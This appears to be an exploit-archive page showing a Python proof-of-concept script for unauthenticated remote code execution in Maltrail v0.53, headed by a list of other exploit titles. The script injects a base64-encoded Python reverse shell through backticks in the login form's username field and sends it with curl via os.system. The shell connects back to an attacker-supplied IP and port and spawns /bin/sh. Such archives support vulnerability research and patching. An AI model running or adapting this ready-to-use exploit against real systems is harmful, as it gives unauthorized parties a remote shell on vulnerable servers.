cbe784b087
16 changes to exploits/shellcodes/ghdb Techview LA-5570 Wireless Gateway Home Automation Controller - Multiple Vulnerabilities Axigen < 10.3.3.47_ 10.2.3.12 - Reflected XSS Drupal 10.1.2 - web-cache-poisoning-External-service-interaction Jorani v1.0.3-(c)2014-2023 - XSS Reflected & Information Disclosure soosyze 2.0.0 - File Upload SPA-Cart eCommerce CMS 1.9.0.3 - SQL Injection Wordpress Plugin Elementor 3.5.5 - Iframe Injection Wp2Fac - OS Command Injection Maltrail v0.53 - Unauthenticated Remote Code Execution (RCE) SyncBreeze 15.2.24 - 'login' Denial of Service GOM Player 2.3.90.5360 - Buffer Overflow (PoC) GOM Player 2.3.90.5360 - Remote Code Execution (RCE) Windows/x64 - PIC Null-Free TCP Reverse Shell Shellcode (476 Bytes)
33 lines
No EOL
1.1 KiB
Python
Executable file
33 lines
No EOL
1.1 KiB
Python
Executable file
# Exploit Title: Maltrail v0.53 - Unauthenticated Remote Code Execution (RCE)
|
|
# Exploit Author: Iyaad Luqman K (init_6)
|
|
# Application: Maltrail v0.53
|
|
# Tested on: Ubuntu 22.04
|
|
|
|
# PoC
|
|
import sys;
|
|
import os;
|
|
import base64;
|
|
|
|
def main():
|
|
listening_IP = None
|
|
listening_PORT = None
|
|
target_URL = None
|
|
|
|
if len(sys.argv) != 4:
|
|
print("Error. Needs listening IP, PORT and target URL.")
|
|
return(-1)
|
|
|
|
listening_IP = sys.argv[1]
|
|
listening_PORT = sys.argv[2]
|
|
target_URL = sys.argv[3] + "/login"
|
|
print("Running exploit on " + str(target_URL))
|
|
curl_cmd(listening_IP, listening_PORT, target_URL)
|
|
|
|
def curl_cmd(my_ip, my_port, target_url):
|
|
payload = f'python3 -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{my_ip}",{my_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\''
|
|
encoded_payload = base64.b64encode(payload.encode()).decode() # encode the payload in Base64
|
|
command = f"curl '{target_url}' --data 'username=;`echo+\"{encoded_payload}\"+|+base64+-d+|+sh`'"
|
|
os.system(command)
|
|
|
|
if __name__ == "__main__":
|
|
main() |